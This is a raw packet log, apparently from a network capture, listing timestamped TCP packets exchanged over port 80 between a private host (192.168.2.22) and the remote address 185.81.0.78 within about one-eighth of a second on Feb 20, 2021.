Feb 20, 2021 09:48:08.412913084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.414077997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.414098978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.414112091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.414124966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.414185047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.414197922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.414203882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.414236069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.414259911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.414957047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.415324926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.415342093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.415354013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.415422916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416254997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416275978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416292906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416307926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416325092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416337967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416353941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416358948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416369915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416395903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416414022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416424036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416430950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416448116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416452885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416466951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416481018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416482925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416511059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416512966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416538954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416547060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416563988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416575909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416603088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416623116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416624069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416666031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416683912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416683912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416701078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416712999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416718006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416735888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416748047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416754007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416780949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416804075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416815996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416832924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416850090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416866064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416877031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416886091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416907072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416908026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416923046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416933060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416943073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416960001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.416968107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.416994095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.417687893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.471649885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.471734047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.471782923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.471822977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.471863031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.471863031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.471900940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.471904039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.471919060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.471945047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.471946955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.471987009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.471993923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.472023964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.472027063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.472079039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.473790884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.473846912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.473896980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.473925114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.473942041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.473959923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.473977089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.473985910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.474026918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.474040031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.474069118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.474560022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.474687099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.474730015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.474767923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.474786043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.474813938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.475279093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.475321054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.475361109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.475369930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.475378036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.475428104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476433992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476475000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476511955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476515055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476532936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476557016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476563931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476592064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476597071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476635933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476654053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476680040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476680994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476721048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476737976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476763964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476771116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476815939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476829052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476855993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476869106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476897955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476916075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476937056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.476943970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476969957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.476974010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477014065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477025986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477054119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477055073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477099895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477103949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477149010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477159977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477196932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477210045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477241039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477253914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477282047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477298975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477319002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477343082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477361917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477365971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477405071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477442026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477485895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477502108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477534056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477535009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477576971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.477591991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.477633953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.478138924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.529359102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529460907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529508114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529546976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529587984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529593945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.529623985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.529628038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.529629946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529670954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529673100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.529711962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.529721022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529761076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.529767990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529807091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529808998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.529845953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.529849052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529886007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.529890060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529928923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.529930115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.529968023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.529970884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530008078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530014038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530051947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530064106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530102015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530107021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530144930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530148029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530189991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530189991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530230045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530236959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530284882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530287027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530327082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530327082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530364990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530369997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530407906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530410051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530446053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530447960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530484915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530488968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530529022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530540943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530580997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530585051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530623913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530623913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530661106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530663967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530703068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530704021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530740976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530740976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530781031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530781031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530821085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530822992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530859947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530872107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530911922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530915976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530953884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.530956030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530989885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.530993938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531032085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531033039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531070948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531073093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531106949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531111002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531147003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531148911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531187057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531197071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531235933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531244040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531281948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531286001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531323910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531326056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531363964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531366110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531404018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531404972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531441927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531445026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531481028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531483889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531522989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531532049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531575918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531588078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531614065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531616926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531655073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531656027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531692982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531693935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531730890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531734943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531769991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531770945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531809092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531815052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531856060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531857014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531900883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531903982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531939983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531944036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.531979084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.531981945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532018900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532021046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532058001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532062054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532124996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532166004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532176971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532207012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532215118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532258034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532270908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532299995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532311916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532341957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532352924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532382011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532387972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532421112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532448053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532459974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532461882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532500982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532504082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532546043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532548904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532593966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532593966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532632113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532636881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532671928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532675028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532732964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532737970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532771111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532776117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532813072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532818079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532854080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532856941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532896996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532902956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532948017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.532951117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.532989025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.533560991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.533602953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.533622026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.533639908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.533643961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.533682108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.533683062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.533721924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.533730984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.533772945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.533773899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.533813953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.534805059 CET	80	49165	185.81.0.78	192.168.2.22
